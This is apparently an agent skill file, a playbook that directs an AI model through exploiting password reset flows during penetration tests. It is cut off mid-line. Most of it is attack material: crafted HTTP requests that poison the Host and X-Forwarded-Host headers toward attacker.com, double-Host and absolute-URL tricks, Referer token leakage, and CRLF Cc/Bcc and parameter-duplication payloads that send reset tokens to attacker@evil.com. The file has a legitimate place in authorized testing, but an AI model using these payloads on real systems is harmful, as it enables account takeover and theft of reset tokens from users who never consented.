/password-reset-poisoning

name: password-reset-poisoning
description: >
  Exploit password reset vulnerabilities during authorized penetration
  testing.
keywords:
  - password reset poisoning
  - password reset bypass
  - forgot password bypass
  - reset token theft
  - host header poisoning
  - password reset token
  - account recovery bypass
  - reset link manipulation
  - password reset email injection
  - token prediction
  - reset token leakage
tools:
  - burpsuite
  - curl
  - ffuf
opsec: low

Password Reset Poisoning

You are helping a penetration tester exploit password reset vulnerabilities. The target application has a password reset flow (forgot password → email → reset link) that may be vulnerable to token theft, host header manipulation, email injection, or weak token generation. The goal is to intercept or predict reset tokens to achieve account takeover. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[password-reset-poisoning] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A password reset endpoint (`/forgot-password`, `/reset-password`,

`/account/recovery`)

• A test account (to receive and analyze legitimate reset emails)
• Burp Suite (to intercept and modify reset requests)
• An attacker-controlled server or Burp Collaborator (to capture redirected

tokens)

Step 1: Assess

Map the password reset flow.

Capture the Reset Flow

1. Request a password reset for your test account 2. Intercept the request in Burp 3. Receive the reset email — analyze the link structure 4. Note the token format, length, and character set

Identify the Reset Link Structure

https://target.com/reset?token=abc123def456
https://target.com/reset/abc123def456
https://target.com/reset?token=abc123&email=user@target.com

Key questions:

• Where does the domain in the link come from? (Host header? Config?)
• Is the token in a query parameter or URL path?
• Does the email contain any user-controllable content?
• Is there a separate verify endpoint?

Step 2: Host Header Poisoning

The most common password reset vulnerability — the application uses the Host header to generate the reset link URL.

Basic Host Override

# Replace Host header with attacker domain
POST /reset-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

If the victim receives: `https://attacker.com/reset?token=TOKEN` — the attacker captures the token when the victim clicks the link.

X-Forwarded-Host Override

# Keep original Host, add X-Forwarded-Host
POST /reset-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

All Host Override Headers

Test each of these — different frameworks honor different headers:

X-Forwarded-Host: attacker.com
X-Original-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

Double Host Header

Host: target.com
Host: attacker.com

Some load balancers pass the first, some the last. The application may use a different one than the proxy validated.

Host Header with Port

Host: target.com:@attacker.com
Host: target.com#@attacker.com
Host: attacker.com/target.com

Absolute URL Override

POST https://target.com/reset-password HTTP/1.1
Host: attacker.com

When the request line contains an absolute URL, some servers use the Host header for link generation instead of the URL.

Step 3: Token Leakage via Referer

If the reset page loads external resources, the token leaks in the Referer header.

Test for Referer Leakage

1. Request a password reset for your test account 2. Click the reset link (don't complete the reset) 3. On the reset page, click any external link or load an external resource 4. Check if the Referer header sent to the external site contains the token

# Check what external resources the reset page loads
curl -s "https://target.com/reset?token=TEST" | \
  grep -oP 'src="https?://[^"]*"' | grep -v "target.com"

Exploit

If the reset page loads resources from a domain you control (CDN, analytics, social widget), the token arrives in your server logs via the Referer header.

If not, chain with an open redirect or XSS on the reset page to force navigation to your server.

Step 4: Email Parameter Injection

Manipulate the email parameter to receive the reset token at an attacker-controlled address.

Parameter Duplication

# Two email parameters — some backends send to both
email=victim@target.com&email=attacker@evil.com

Carbon Copy Injection (CRLF)

# Inject Cc/Bcc headers via CRLF
email=victim@target.com%0a%0dcc:attacker@evil.com
email=victim@target.com%0a%0dbcc:attacker@evil.com
email=victim@target.com%0d%0acc:attacker@evil.com

Separator Injection

# Various separators that may be parsed as multiple addresses
email=victim@target.com,attacker@evil